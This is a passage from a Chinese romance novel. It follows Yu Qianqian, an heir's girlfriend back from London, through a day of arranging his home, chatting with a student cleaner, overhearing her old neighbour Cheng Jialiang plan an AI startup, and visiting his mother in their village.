领带在她手中交叉、翻转、从结口下方穿过,这件事她做过千百遍,手指的肌肉记忆比大脑更快。
庾倩倩一米六七,比谢孟渊矮半个脑袋。
谢孟渊垂眸,目光落在她脸上。
大概是今天不用出门,她穿得很寡淡,一件米白的短袖连衣裙,妆也没化,破浪卷发松散地披在身后。
这个角度能看到她的睫毛——睫毛不算浓密,可瞧起来很柔软,细长细长的,令人想起诸葛亮的羽毛扇。
没有化妆的脸便不算艳丽,比平时显得更柔和一些,皮肤底下隐约可以看见一点点淡淡的斑,不仔细看根本发现不了。
没有粉底的遮挡,没有遮瑕膏的修饰,这张脸是真实的,居家的,亲近的。
她身上有淡淡的茶花香,她不太喜欢用浓香水,味道更像是沐浴露或身体乳留下的余韵,很淡,要凑近了才能闻到。
谢孟渊忍不住凑近:“今天怎么安排?”
“今天怎么安排?”
声音从庾倩倩头顶落下来,每到早上他的嗓音会因一整晚的休眠带些奇怪的沙哑,仿佛还残留着昨晚的情/欲。
“没什么安排。”庾倩倩的手指还在领带上做最后的调整,将结口推到喉结正下方的位置,“唔,先留这里收拾一下行李,整理一下房间,再去酒吧把车开回来。你家的保姆把你的衣服春夏秋冬的衣服一股脑放着,不分季节。”
谢孟渊轻笑了一声,着一种懒洋洋的纵容,接过她的动作,松了松领带:“是,那辛苦你了。”
庾倩倩抬起头看他:“怎么,系紧了?”
“嗯,有点儿。”
“下次注意。”庾倩倩笑着,转身从桌子上拿起一杯温水。
虽然没有准备他的早餐。
温水确实准备好的,这是他的习惯。
每日起床,会先喝一杯加点盐的淡柠檬温水。
谢孟渊好整以暇地接过。
“对了,你今天有时间准备一下简历。”他的语气很随意,“我到公司后会给你安排一个合适的岗位。”
庾倩倩愣了愣,颇为意外。
“你是要让我去你公司上班?”
“有什么不行?”谢孟渊喝了口水,语气里带着一种理所当然,“你学历也合适,人也聪明,我弄你进去也不算走后门。”
庾倩倩歪头看了看他,直到他把整杯淡柠檬盐水喝了一大半,这才上前接过。
“行。你愿意就成。”
谢孟渊家里的“杜尚”是大公司,现在工作这么难找,国外名牌大学学历也不好使,能进去刷履历为什么不进去?
只不过她一直以为,像他这种向来公私分明的人,不会让自己跟他的公事扯上关系。
是为分手做准备?
庾倩倩在心里猜测着,脸上却没有表现出来。
笑意维持得刚刚好,不深不浅。
“对了,今天帮我收拾再收拾一间书房出来,你知道我的习惯。”
“当然。”庾倩倩不需要她回答,她就是靠“善解人意”才能留在他身边这么多年。
庾倩倩走到沙发上,提起他的黑色皮质公文包,里面没什么东西,只是他的一些资料和笔记本电脑,转过身交给他,语气幸灾乐祸似的:“上班愉快哦。”
谢孟渊接过公文包,曲起手指极轻地弹了下她的脸蛋。
“干嘛呀。还没开始上班就开始教训下属了?”
谢孟渊失笑,转身离开。
他坐电梯下到负一层,走到自己的车边,开车门,放下公文包,开车前往城西的老宅。
开了半个小时,车窗外的景色从高楼林立渐渐变成低矮的别墅群。
父母喜欢安静,住在城西一片老牌的别墅区里。
这里的每栋房子之间都隔着至少几十米的距离,被高大树木和修剪整齐的灌木丛隔开,私密性极好。
车一靠近,铁栅栏自动抬起来。
铁门后面是一片足有足球场那么大的草坪,草被修剪得很整齐,绿得像一块刚铺好的地毯。
草坪中央有一座喷泉,水柱在阳光下折射出一道小小的彩虹。
旁边是专门的花卉园,有个穿灰色工作服的园丁正拿着水管在浇水。
一个穿白色制服的佣人小跑着走过来,候在车边,微微弯着腰:“少爷回来了。”
谢孟渊打开车门下车,他没有转头,只在喉咙里轻轻应了一声——那声应答短得几乎听不见,更像是一种本能的条件反射。
别墅外面是欧式的风格,米白色的墙面,深灰色的屋顶,拱形的窗户上嵌着铁艺的雕花。
可一进门,里面却是完全不同的天地。
清一色的中式家具。
檀木的桌椅,厚重的案几,青花瓷的摆件,墙上挂着山水画——都是他父亲的喜好。
即便是只有父母两人在家,他们也很少相对而坐。
谢孟渊的父亲谢守礼坐在正前方,寓意一家之主的位置。
母亲万崔璨坐在左手边,穿着真丝的家居服,头发盘在脑后。
饭桌边角有繁复的雕花,桌面上铺着深色的桌布,餐具统一青花瓷。
上面已经摆好了早餐——中式的,鲜虾粥,虾饺,鲍鱼,还有几碟小菜。
他们已经开吃了。
谢孟渊自然而然地往父亲的右手边坐下。
这是他们一家的座位排序。
“孟渊回来了。”万崔璨见到儿子,语气轻快。
“再晚些就没早饭了。”谢守礼显然不如妻子那般,对儿子温和。
谢守礼是个从外表看就严肃深刻的人,不仅公司里的,连家里待了十几年的保姆都怕他。
眉头习惯性地深皱,眼神锐利得像鹰。
“王妈,快给孟渊盛粥。”万崔璨吩咐。
身后的保姆刚上前两步,谢孟渊已自己拿起瓷勺:“我自己来。”
一进门,白瓷碗,青花瓷勺,早已整整齐齐地摆在他桌面的右手边。
桌中间的白瓷粥盅里是稠度适中的虾肉粥,上面撒了些嫩绿的葱花,冒着淡淡的热气。
“你要不干脆回家住几天吧,反正也要回公司,这里去公司近啊。”万崔璨看着儿子舀粥的动作,又提起昨天已经说过一次的话。
“不用。”谢孟渊的语气平淡而坚定,“我习惯自己住。”
万崔璨还想再说,谢守礼打断了她——
“公司的资料看过了吗?”
“看过了。”
“你好好做,多少双眼睛盯着你,你要是做不好,就算你是我儿子,我也不会把公司交给你。丢不起这个人!”这话说得不留情面,宛如训诫。
万崔璨看了丈夫一眼,嘴唇动了动,到底没说什么。
谢孟渊点点头,神色没有变化,像是对这种说话方式早已习以为常。
“我知道。我会全力以赴。”
谢守礼听他这么说话,才像是满意了些。
他哐当一声放下勺子,碗已经空了。
身后的另一个保姆正要上前帮他盛粥,谢守礼拿起餐巾擦了擦嘴角,靠在椅背上:“不用了。”
对于生活这些事,譬如儿子回不回来住,吃饭习不习惯,他不是很在意,只继续说:“过几天我跟何总见面,你跟他女儿凡月也见见,先相处相处,培养培养感情。”
谢孟渊搅拌着碗里的粥,勺子碰着碗壁。
“好。”
接下来,像是为了谢孟渊到底有没有了解公司似的,谢守礼又问了一些公司的事——股权结构,高管名单,近三年的财报数据。
谢孟渊对答如流,像是已经把那些资料确实认真研究过。
早餐结束。
谢守礼站起身,一个穿着黑色西装的中年男性助理从侧门走进来,手里提着谢守礼的西装外套,动作熟练地给他套上。
谢守礼系上扣子,动作有些迟缓。
他的手指在扣子上停留了很久,像是在使力,又像是在忍耐什么。
系好扣子后,他拄起手边的拐杖,咳嗽了两声。
那咳嗽声很沉,从胸腔深处涌上来,带着一种浑浊的气音。
谢孟渊看了一眼父亲的腿。
谢守礼今年四十七岁,商场上这个年龄正是意气风发的壮龄,既有十几年的商场沉浮经验,又有雄厚的资本积累。
可惜,六年前那场车祸,不仅让他的右腿落了残疾,脏腑也受了重创。
这些年来,他老得比同龄人快得多,头发白得早,脸上的皱纹深得像沟壑,连说话的声音都比以前低沉了许多。
“行了,走吧。”谢守礼拄着拐杖,声音有些喘,“我带你去公司。”
“妈,我跟爸先去公司。”谢孟渊朝万崔璨示意。
他站起身,推进去椅子,系上西装外套下方的纽扣。
阳光从外面涌进来,在深色的木地板上铺出一大片明亮的区域,谢守礼正走到门口。
谢孟渊追到谢守礼身边,并没扶着他——谢守礼向来不需要人搀扶——可靠得很近,只低声提醒:“慢点。”
谢守礼看了他一眼。
两父子都没再说什么。
在万崔璨的目光中,他们各自上了各自的车,前往公司。
谢孟渊走后,庾倩倩回到餐桌边。
她坐下,拿起那块三明治,咬了一口。
她吃东西很慢,总是要花很长时间,洗澡也是,每次都要洗一个小时,谢孟渊总嫌弃她慢吞吞。
三明治吃了将近二十分钟,葡萄冰美式的冰块慢慢融化,杯壁上凝出一层水珠,她一口一口喝光咖啡。
稍后,她端起盘子,拿起杯子,走到厨房。
冲洗干净后,她把它们倒扣在沥水架上,用抹布擦干了台面上的水渍。
做完这一切,她走到客厅,拉开了所有的窗帘。
阳光从三面的大窗户涌进来,瞬间将整个客厅照得通透而明亮。
落地窗外是城市的远景——高楼,街道,远处起伏的山丘,在春日的光线里显得格外清晰。
三四月份的国内,天气艳阳高照,不冷不热,比伦敦好太多了。
伦敦的这个时候还在下雨,阴沉沉的,湿漉漉的,太阳像是被人藏起来了,一个月都见不到几次。
昨天刚下飞机的时候,见到国内车水马龙、高楼林立,奢华无比,她都意外,什么时候发展得这么好了?
以至于她都怀疑自己选择跟谢孟渊留学是个错误。
当然想想而已。
国外读书的经历跟国内到底不同,国外名牌大学的学历还是能唬唬人的。
庾倩倩在沙发上坐下来,拿起遥控器,随意地换着台。
电视屏幕上一个频道在播早间新闻,一个频道在播重播的综艺节目,还有一个频道在放狗血的电视剧。
她停在了那个电视剧上,把遥控器搁在一边,支着头,靠在沙发里看着。
好久没看电视台了。
到九点,手机震动了一下。
一条短信。
陌生号码:你好,庾小姐。我是预约的家政,已经到楼下了,您有时间帮我开一下门吗?我的编号是984223。
庾倩倩走到玄关,从墙上的监控屏幕上看到一个年轻女孩站在楼下。
穿着橙色的工作服,背着双肩包,正抬头看着摄像头,好像在等什么。
她按下了开门按钮。
楼下的门锁“咔嗒”一声弹开,女孩推门进去了。
昨天刚来,谢孟渊就让他公司派给他的助理安排了家政。
谢孟渊说他自小家里保姆很多,无论是走路学习都有人盯着,他很不喜欢。
所以他从不请住家保姆,只请家政,每隔两天来打扫一次。
昨天预约的,所以今天就来了?
门铃响。
庾倩倩打开门。
门口站着一个年轻的女孩,背着双肩包,头发扎成低马尾,素面朝天,但皮肤很好,白净细腻。
她看见庾倩倩,立刻露出一个礼貌的笑容:“庾小姐,你好。我是984223家政,名字叫林橙。”
说完,她从口袋里拿出一双鞋套,弯下腰,仔细地套在鞋子上。
庾倩倩忍不住多看了她两眼。
“现在家政都这么年轻吗?”
她以为来的会是个四五十岁的阿姨,没想到对方看起来就像是个二十多岁的小姑娘,跟自己差不多大。
“你是不是还在上学?”
“是呀。”女孩笑了笑,眼睛弯成两道月牙,很有亲和力,尤其唇角始终带着一点笑意,不是讨好的那种,反而让人觉得她很开朗。
“不过您不用担心。我从大一就开始做了,经受过严格的训练,一定会很认真尽责地帮您打扫家里。”
说着,她到玄关地板上,放下双肩包,拉开拉链,从里面拿出工具——几块不同颜色的抹布,一瓶清洁剂,一把小刷子,还有一副
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橡胶手套。
所有东西都整整齐齐地放在各自的位置,很是熟练。
“您看看您有什么需求,没有需求的话,我是先从卧室、厨房、客厅、厕所的顺序。”女孩一边说,一边戴上手套,同时还给她自己身上和手套上均匀地喷上消毒水。
“卧室和衣帽间你不用打扫,我自己来。”庾倩倩想了想,又补充道,“其余的按照你自己来。这里有两个衣帽间,我只需要你帮我折好衣服,顺序我自己弄。另外可以打扫,但所有东西的摆设方式不能动。”
“好的。”女孩顺从地回答,然后她起身环顾了一圈屋子,忍不住赞叹,“庾小姐,你好厉害啊。”
也许庾倩倩也是同龄人,女孩又自来熟,并不拘谨,她眨眨眼问:“你一个人住这么大的房子,你是网红吗?”
“不是。”
庾倩倩顿了一下。
女孩还真是天真单纯,看见她一个年轻漂亮女性住这么大的房子,第一反应她是网红,而没有往更……“世俗”的方面想。
庾倩倩转过身走向客厅。
倒也不是没考虑过做网红,高中的时候还试过直播。
可惜找上来的直播公司合约都非常霸王条款,动不动就是十几二十年的合同,毁约赔好几百万,听说还有不少潜规则。
而她一个人开播,起初没有流量,有流量之后遇到的性骚扰居多。
网上那些男人的污言秽语,完全能超出一个人的想象,更别说无数私下想加她联系方式的,发色情照片的,甚至还有人去她学校尾随她。
再者,也许她在现实世界里颜值算是比较突出的那种,可现在化妆和滤镜太万能了,三四分的女孩都能做出七八分的效果。
网红赛道如此激烈,随手就可以划过的美女中,她既不会跳舞,又不会说话,很快泯然众人。
“我不上镜。”庾倩倩只简单解释一句。
“你还不上镜啊。”女孩语气是全然地不信,“我都觉得你可以当明星了。”
庾倩倩笑了下,到客厅的冰箱里拿了一瓶冰柠檬水,走回来。
“喝吗?”她把瓶子递给女孩。
女孩摇摇头,笑了笑:“我们不喝雇主家的东西,这是职业操守。”
她顿了顿,好像在犹豫要不要解释,但还是说了:“万一我们服务不好,雇主有可能说我们偷吃他东西,不好解释。二来……现在我们都不敢乱吃别人递过来的东西。”
她挠挠脸,想着庾倩倩同是女生,又如此漂亮,应该能明白:“如今新闻上各种下药□□的新闻,我这种时常单独去别人家里的家政更得小心。实在是谢谢您的好意。”
庾倩倩愣了一下,随即点点头:“也是。”
她垂眸沉默片刻,又问:“你多大?”
“二十一。”
“还在上大学吗?”
“嗯。”
“哪个学校?”
“A大。”女孩随口回答,一点也没有炫耀的意思。
庾倩倩的手摸索着冰凉的瓶盖,指腹在凹凸不平的塑料表面上来回滑动。
A大。
这是他们全省最好的学校,国内985重点大学。也是……
也是程嘉良的学校。
“我也有事做,你自便。”庾倩倩说。
“好。”女生也要开始打扫了。
谢孟渊要她给他收拾出一间书房出来——准确地说,是办公室。
庾倩倩进了房间。
窗帘必须拉上,他不喜欢透光。
外接的显示器必须在他的左面,他习惯左转头。
办公桌一定要在正中间的位置,不能靠墙,不能偏左偏右。
椅子必须有靠垫,靠背的角度要刚好贴合他的腰椎弧度。
桌面上要有合适的灯光,不能太亮也不能太暗,色温要在四千K左右,暖白,不刺眼。
身后和左右两侧要有书架。
房间里不能放任何电器,不能有任何杂音。
空调的出风口要避开办公桌的方向,不能对着人吹。
地上要铺柔软的毛毯,深灰色的,踩上去没有任何声音。
整体色调要偏暗,暗但不压抑。
庾倩倩先把窗帘拉上,再打开灯,调好角度,让光束刚好落在办公桌的正中央。
显示器搬到桌上,连接线从桌底的线槽里走,不能露在外面。
键盘和鼠标摆在固定的位置——键盘在显示器左前方,鼠标在键盘右侧,距离桌沿五厘米。
书架上的书按高度排列,从高到低,从左到右。她一本一本地放上去,每放一本就退后一步看看是否整齐。
布置完办公室,庾倩倩又走进衣帽间。
谢孟渊所有东西都不喜欢跟人共用,哪怕跟她也是如此。
他有自己的衣帽间,比庾倩倩那间的还大。
衣服、鞋子、领带、表、香水都有讲究。
衬衫向来穿白色,只有一两件黑色、蓝色或红色的,用于特殊场合。
橱柜中的衬衫要从左到右按照由浅及深的顺序排列——白,灰白,米白,浅蓝,蓝,深蓝。
领带按颜色分,深色放在左边,浅色放在右边,花纹的单独一排。
鞋子按用途分——正装鞋,休闲鞋,运动鞋,每一类都有固定的位置。
谢孟渊不算有洁癖,只是有一点强迫症。
领地意识很强,习惯专人专用,习惯的东西一定要放在他顺手的位置。
连沐浴露、洗发水之类的都有讲究,倒也不是挑剔特定牌子,但格外排斥香气浓郁的,浴袍毛巾也是,只穿特定面料。
这些东西,庾倩倩用了三年的时间才完全摸透。
整理完衣帽间,她走出来,对那个家政女孩说:“这里我布置完了,你待会儿可以进来打扫。整体很干净,只要擦一些灰尘就行。”
“好。”女孩乖巧答应。
她的动作很麻利,先从角落里开始,先用湿抹布擦一遍,再用干抹布擦一遍。连灯罩里面的灰都没有放过。
庾倩倩靠在门框上,看着那个女孩的背影。不知道是本性如此,还是因为自己在旁边看着,她确实做得很仔细。
“你是很小就出来打工了吗?”
“是啊,家里穷。”
女孩认真擦着,说这些话却没有半点羞赧的意思。
庾倩倩很羡慕这种人……从小就羡慕,对于自己的出身、对于贫穷,对于窘迫,大大方方毫无芥蒂,坦诚表达,更自食其力、勤奋认真的人。
“你认识程嘉良吗?”庾倩倩知道自己不该问。
女孩手里的动作停了。
她转过头来,眼睛亮了一下。
“认识啊!他是我们院学生会主席。”
她看着庾倩倩,眼睛里的好奇又浓了几分:“庾小姐,你也认识他?”
庾倩倩沉默了十几秒。
“认识,以前是邻居。”顿了一下,她像是很平淡、很随意地补充,“不是很熟。”
4. 第 4 章
女孩睁大眼睛,轻轻说了声“哦”。
仿佛是有些意外——居然能在住豪宅的雇主家里,碰到她同学的邻居。
仿佛她跟程嘉良应该八竿子打不着似的。
庾倩倩避开了她的视线。
往前走了几步,站到落地窗前。
整面玻璃从地面延伸到天花板,像一个巨大的取景框,框住了整座城市。
城市一旦变得渺小,而人居高临下俯瞰,就会生出一种奇怪的怅惘。
具体这种怅惘是什么,庾倩倩也不知道。
身后的女孩安静地打扫,过了大概两个多小时,女孩收拾好所有工具,走到庾倩倩面前,很客气地说:
“庾小姐,我已经打扫完了。”
庾倩倩从窗前转过身,点了点头。
她不用付钱。
自从跟谢孟渊谈恋爱后,她没有花过一分钱。
“下次还是你吗?”庾倩倩问。
女孩笑着回答:“如果您给我好评,可能就是我了。我也希望能再来,因为家里好干净啊,庾小姐又会打理又爱干净。我觉得好轻松。”
女孩真会说话。
庾倩倩笑了笑:“下次见。”
女孩客气地说:“庾小姐,下次见。”
说完,她在门口弯腰摘下鞋套和手套,叠得整整齐齐,塞进随身携带的垃圾袋里。她又检查了一遍地面,确认没有任何遗漏,这才直起身,把那袋垃圾也提在手里。
“垃圾我帮您带下去了。”
“谢谢。”
门关上了。
庾倩倩站在客厅中央,她低头看了看手机,十一点半。
忽然觉得饿了。
正好她的去把昨晚停在酒吧门口的特斯拉取回来。
车也是谢孟渊买的。
当时这辆车在英国刚刚发售,谢孟渊自己买了一辆,也给她买了一辆。
小说里、网络新闻里都经常写富二代如何一掷千金,好像钱在他们手里跟纸一样。
实际上她接触下来,真正的富二代不会计较小钱,但也知道钱的重要性。
几千万几个亿,可以投资到别的公司里滚动生息,可以借给朋友,最差也可以自己买车买游艇,不会随随便便给人,最多给她们送点珠宝衣服,偶尔牵线给点资源就差不多了。
谢孟渊算是个出手大方的人了。
更重要的是,他年轻、英俊。
庾倩倩拎起包,拿上车钥匙,出了门。
她先打车去了酒吧。
那辆白色的特斯拉还停在昨晚的位置,庾倩倩按了钥匙,车灯闪了两下,拉开车门坐进去。
她没有直接回家,而是在路上找了一家看起来还不错的餐厅,一个人吃了顿简餐。
吃完后,她开车去了附近的一家咖啡馆。
带了笔记本电脑出来。
在外面咖啡店做事,似乎比在家里更有状态。
她点了一杯冰美式,找了个靠窗的位置坐下,打开电脑。
高考毕业之后可以选很多专业。
谢孟渊一早就内定要接管家里的公司,他父亲让他学的经济金融。
可庾倩倩不知道自己能学什么,也没什么人能指导她,只能自己上网搜寻。
生化环材,据说是天坑职业,毕业即失业。
计算机和土木,似乎对女生又不太友好。
管理、市场、金融、英语等等——万能专业太虚了,需要家里有资源有人脉才能撑得起来。
还有许多专业必须要读到研究生或者博士才行。
思来想去,当时娱乐圈正火,铺天盖地都是选秀、综艺、票房神话。
听说很赚钱,她又有兴趣,加上谢孟渊也许也能帮上点忙,所以就报了导演系。
谁想到仅仅隔了三年,娱乐圈就萧条成了这个样子。
庾倩倩没有着急写简历,打开浏览器,点进了杜尚公司的官网。
杜尚跟国外的艺术家杜尚可没半点关系,是做稀有金属铪、锆之类的,供应内存、半导体等,盛着如今AI的东风,股价一路飙升。
除却那些互联网大厂,这算是整个中国最热门制造业公司,如今多少毕业生挤破头都进不去。
官网页面,公司介绍、业务板块、高管团队、新闻中心——菜单栏排列得整整齐齐。
庾倩倩慢慢往下翻。
谢孟渊以后肯定是要继承公司的。
趁这个机会,她应该可以挑一挑岗位。
专业虽不太符合,助理、秘书、行政等倒不太挑专业。
可她不太想做。
没有什么发展空间,得找一个能学到东西、有前途的职位。
生产部?市场部?品牌部?还是战略投资部?
以前总听说考上大学就好了,现在考上了大学也不知道能做什么。
她支着下颌,闲闲地往下滑动着页面。
余光中,侧面的玻璃窗外,街上人来人往,有人站在路边低头看手机,有人牵着一只白色的狗慢慢走过。
三个男生正从远处的人行道一块走过来。
庾倩倩愣了愣,忍不住仔细打量,挑挑眉头:
他们这么有缘吗?才回国两天,每天都撞到?
三个人一看就是学生的打扮,两个男生都是白T恤,只有右边男生是黑T恤,尤为出挑。
个头就高出他们一大截,窄而高的身材,皮肤白皙,素净乌黑的短发,温润清和的眉眼。
他们一路从人行道走进这家咖啡店。
庾倩倩转过头,听见门叮咚一声,提醒“欢迎光临”。
他们在她身后那一桌坐下。
她没有回头,指尖依然贴在触控板上,可还是下意识地听身后动静。
“你说那个AI生成模块,我们能不能直接用开源模型微调?这样省时省力,成本也低。”
“不行。”是程嘉良的声音,“开源模型推理速度太慢了,用户体验会很差。我们自己搭一个小规模的,专门针对垂直场景优化,响应时间能压到一秒以内。”
“一秒以内?你想多了吧。光是预处理那一步就要……”
“预处理我来优化。”
程嘉良的声音再次响起:“核心逻辑是——用户上传内容,AI实时生成反馈。所以我们优先保证两个东西:生成质量和响应速度。其他功能往后排。”
“那训练数据呢?我们现在哪有那么多标注数据?”
“先用手工标注跑通流程。”程嘉良说,“一千条,够demo了。”
“一千条?”那个男生哀嚎了一声,“你知道一千条手工标注要干多久吗?”
“三天。”程嘉良语气平淡,“我昨晚已经标了两百条。”
沉默了两秒。
“……你这人真是不睡觉的。”
“所以产品什么时候能上线?”第三个男生问。
“两周后出demo。”程嘉良的键盘又响了起来,“然后拿着demo去找投。”
“找投?天使轮?你觉得能拿到多少?”
“先不想钱的事。”程嘉良说,“把东西做出来,再说其他。”
庾倩倩挑了下眉头。
这是在创业?
她知道程嘉良报的好像是计算机专业。
创业,他有钱吗?
庾倩倩在谢孟渊身边待了那么多年,见过不少想创业的人。
谢孟渊算是富二代里面很有上进心的——他一开始就准备管理公司,在英国很早就开始看项目。
他认识的那些朋友,很多也是自己开公司的富二代。
新闻里会有那种创业翻身的神话,草根出身,白手起家,几年之内身家过亿。
但庾倩倩看到更多的成功案例,是另一种人——要么家里有财富,父母能帮一把,要么他们有关系和提前得到的消息。
虽然AI是风口,听说非常烧钱。
如今这个经济下行的行业里,普通人很难创业。
庾倩倩心想,忍不住端起咖啡喝了口。
“程嘉良,你这笔记本不太行吧,跑AI太慢了。”
“我买了个二手台式在学校,这个备用。”
“赶紧换一台吧,不然出去见投资人磕碜。”
“问题不在于我用什么电脑。”程嘉良的语气平淡,“在于我们的模型好不好。电脑不重要。普通电脑也应该可以跑我们的AI引擎。”
“可太老了吧。”另一个朋友也加入了讨论,“正好现在苹果也出新一代了,我旧的送你。”
“不用了,谢谢你的好意。”果然,程嘉良的声音再次响起,“我现在这台还能用。物尽其用。既然还能用,就没必要再换新的。”
庾倩倩轻笑了一声,还真的是程嘉良的风格。
他倒不是因为接受朋友的“赞助”会羞耻,而是真的认为如果一件东西没有认真地使用就丢弃,是浪费。
稍后,他们又开始讨论具体的创业想法。
那两个男生挺天马行空的,一个说要做一个什么社交平台,一个说要搞一个AI应用,概念一个比一个大,听起来都很宏伟。
程嘉良话很少。
庾倩倩听着听着,忽然觉得没什么意思了。
她合上电脑,把电脑放进包里,起身,故意从对面的门出去,没有经过他们。
外面的空气比里面凉一些,带着一点潮湿的预感。
天有些阴了,远处的云层压得很低,灰蒙蒙的一片。
庾倩倩坐进车里,发动引擎。
去哪里呢?
新公寓很大,很豪华。
但那是谢孟渊的公寓,充满他的使用习惯。
想来想去,还是只能去看看刘芳。
庾倩倩在国外三年,基本没怎么回来。
她跟刘芳没什么话聊,视频见面也就够了。
每次视频,刘芳来来回回要么让她抓紧男朋友,那么就是八卦村里面谁家谁家。
不过这次回来,她发现刘芳老了一些。
庾倩倩调转方向,开车往城郊的方向驶去。
车子从宽阔的柏油路拐进狭窄的水泥路,又从水泥路拐进坑坑洼洼的村道。
路两边的房子越来越旧,越来越矮,墙上贴着褪色的广告,电线像蜘蛛网一样在头顶交错。
又开始下雨了。
真是奇怪。
市中心的公寓那边,大早上还是晴天,阳光好得不像话。
但她每次回来,这里都在下雨。
雨刷器有节奏地摆动,将挡风玻璃上的水刮干净,特斯拉停在巷口。
远远地,她看到自己的家门已经上了锁。
又出去打麻将了吗?
庾倩倩没有拿出手机联系刘芳,也没有离开。
打麻将也很好,起码有事做。
这几年,她每个月给她五千块钱。
刘芳不需要交房租,做饭花费也不高,剩下的钱全被她吃喝玩乐去了,如今身边甚至围了圈吹捧她的姐妹。
五千块钱在城里不够看,可村里面的中年妇女又要照顾家里又要带孩子,很少有这么多闲钱还花得大方的。
跟着刘芳偶尔收点红包、去吃点饭、去旅游按摩都屁颠屁颠。
庾倩倩有两个爸爸,这两个爸爸都没怎么尽到责任,都是刘芳一个人拉扯她长大。
孤女寡母相依为命,前些年刘芳受够了欺负和白眼,如今天天炫耀自己女儿赚钱,在别人面前充大方,挣面子和优越感怎么了?
围在她身边的人也是冲着有利可图,一个愿打愿挨。
她从不要求她妈妈当圣人,她妈妈现在还有拉踩装逼的心气更好,别当那感动中国、含辛茹苦、任劳任怨、舍不得吃穿的老母亲。
叮咚。
手机震动了一下。
庾倩倩低头一看,是谢孟渊发来的微信:
晚上在公司聚餐。
意思是不回来吃饭了。
庾倩倩回复了一个字:好。
她锁了屏,把手机扔进副驾驶座,调转车头,开车回去。
天阴路滑,回城又长,太晚了路不好走。
雨越下越大,雨刷器开到了最快的一档,她刚开出不到半里,前方出现了一个人影。
一把黑色的雨伞,一个修长的身影。
他甚至没有露出脸来,可庾倩倩一眼认出了他是谁。
不知道出于什么心理,也许并不希望他看到自己居然开着一辆豪华的特斯拉,她的脚不自觉地抬起来,想要加速。
可她忘了,这里的路坑坑洼洼的,到处是积水。
程嘉良恰好走到一个水坑旁边。
轮胎碾过水坑,脏水飞溅而起——
溅了他一裤腿。
庾倩倩下意识地踩了刹车,车子猛然停住,车头微微往前一栽。
她开得很快,等停下来距离有些远了。
隔着后视镜,她看到他停下脚步,回过头,看向这辆车,微微皱眉。
“抱歉。”她握紧方向盘下意识说。
声音被车窗和雨声隔绝了,只有她自己听得见。
程嘉良站在那里,撑着那把黑色的旧伞,雨顺着伞骨的弧度滑下来,在他周围形成一道细细的水帘。
庾倩倩不知道为何,心跳得很快。
如果不希望他发现应该赶紧开走的,可不知为何,她却迟迟没动。
他也许会上前来理论?
谁知道他只是淡淡地转过头,继续往前走了。
庾倩倩坐在车里,许久没有动静。
雨刷器还在摆动,发出单调的声响。
她看着后视镜里那个越来越远的身影,直到他走进一条小巷,消失在雨幕里。
突然,有一股不甘心似的,从胸腔底下慢慢涌上来,堵在喉咙口。
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>庾倩倩又掉头开了回去,到巷口她熄了火,从驾驶座拿出一把伞,打开,走下车。又从车后座里拿出一箱礼品——昨天来她就放在车后备箱,却一直没拿下来。
雨点砸在伞面上,发出密集的噼啪声。
庾倩倩拎着礼品路过刘芳上锁的屋子,继续往前走。
村路两旁的房子很多都空了,窗户黑洞洞的,有的连门板都被拆走了。
野草从墙根的缝隙里长出来,在雨里绿得发亮。
走了大概两百米,到了一个院子前。
村里她家已经算是很穷的了,但程嘉良比她家还穷。
程嘉良的爸爸很早就得病死了,留下了他妈妈,和他妹妹。
他妈妈姓张,村里人都叫她张阿姨。
张阿姨是个残疾人,腿有点毛病,走路一瘸一拐的,没办法出去工作,只能每天在家里捡点垃圾,折折元宝,挣一点手工钱。
村里不到晚上或者人不在,一般不关门。
庾倩倩撑着伞,走进去。
院子跟以前没有任何变化。
前些年收垃圾还蛮赚钱的,做这个的很多,村里很多人会把垃圾堆在院子里,从门口路过都能闻到一股恶臭。
但是张阿姨不一样——她会在垃圾刚送到的时候就收拾好,纸箱压平了捆成一捆一捆的,塑料瓶洗干净了装进袋子里,连那些别人扔掉的旧桌子、旧冰箱、旧灶台,她都擦拭得干干净净,整整齐齐地垒在墙角。
所以这院子里东西虽多,却从来不杂乱。
纸箱是一摞一摞的,用塑料绳扎得紧紧的。塑料瓶按照颜色分开,白色的一袋,绿色的一袋,棕色的一袋。还有那些零零碎碎的,都被分门别类地放好了。
大门敞开着,张阿姨正坐在堂屋里,低着头,手指飞快地叠着金元宝。
快到清明了,叠这个能赚钱。
庾倩倩已经好几年没见张阿姨了。
比几年前,她鬓边又多了些白头发,发丝也比以前稀疏了,但面容倒是没怎么变。
还是那种温和的、带着一点怯意的表情,像是一直在担心给别人添麻烦。
“阿姨。”庾倩倩站在门口,喊了一声。
张阿姨抬起头,愣了一下,像是过了片刻才认出来:
“倩倩?”
庾倩倩弯了弯腰,收起伞,把手里那箱牛奶和一箱人参放在门边的桌子上。
“我回来了,来看看您。”
“几年不见,你都已经变成大姑娘了!快坐快坐!”张阿姨腿脚不太方便,有个微微起身想要招待她的动作。
庾倩倩赶紧说:“不用不用,我就坐一会儿。”
说完,她在张阿姨对面的木凳上坐下来。
凳子很旧,但很干净,没有一丝灰尘。
“因为现在村里好多人都搬走了,只剩下您和我妈妈还住在这儿。”庾倩倩说,“这几年,您也挺照顾她的,家里灯泡坏了也都是您让嘉良帮忙,所以特地来看看您。”
“哪里哪里。”张阿姨摆摆手,笑得有些不好意思,“是你妈妈照顾我才对。她时不时给我带点好吃的,还帮我去镇上买东西。”
她们聊了几句家常。张阿姨问她在国外过得怎么样,她说挺好的。张阿姨又问她现在做什么工作,她说刚回来,还没定下来。
正说着,一个人从侧门走了进来。
庾倩倩转过头,看见了程嘉良,下意识往下扫了眼。
他穿着刚才那件黑色的短袖,早已换了一条新牛仔裤。
跟他妈妈一样,爱干净。
程嘉良的家就在这个院子里。
正屋是堂屋和卧室,厨房在院子侧面的一个小房子里,矮矮的,烟囱是铁皮做的,已经生锈了。即便在乡下都很少见到这种格局了。
程嘉良看见她,脚步停了半秒。
“这是倩倩。”张阿姨笑盈盈地说,“长这么大了,嘉良,你都不认识了吧?”
程嘉良点点头:“倩倩。”
庾倩倩转过身正对着他。
之前几次都是远观——在咖啡店里,在雨中,隔着一段距离。
这次是近看。
近在咫尺,才有了他已经长大成人的实感。
高了好多。肩膀也宽了,不再是记忆中那个清瘦单薄的少年。
可他还是跟以前一样,那么清秀,眉眼舒朗,神情端正。
最特别的是他的眼睛。
眼珠子是淡灰色的,带着一种近乎透明的质感。
不是谢临渊那种深不见底的黑色,程嘉良的眼睛像冬天河面上新结的那层薄冰,有水流在动,安静、从容,不急不缓。
“好久没见。”庾倩倩微微一笑,语气状若平常。
“不一定。”他说。
庾倩倩愣了愣。
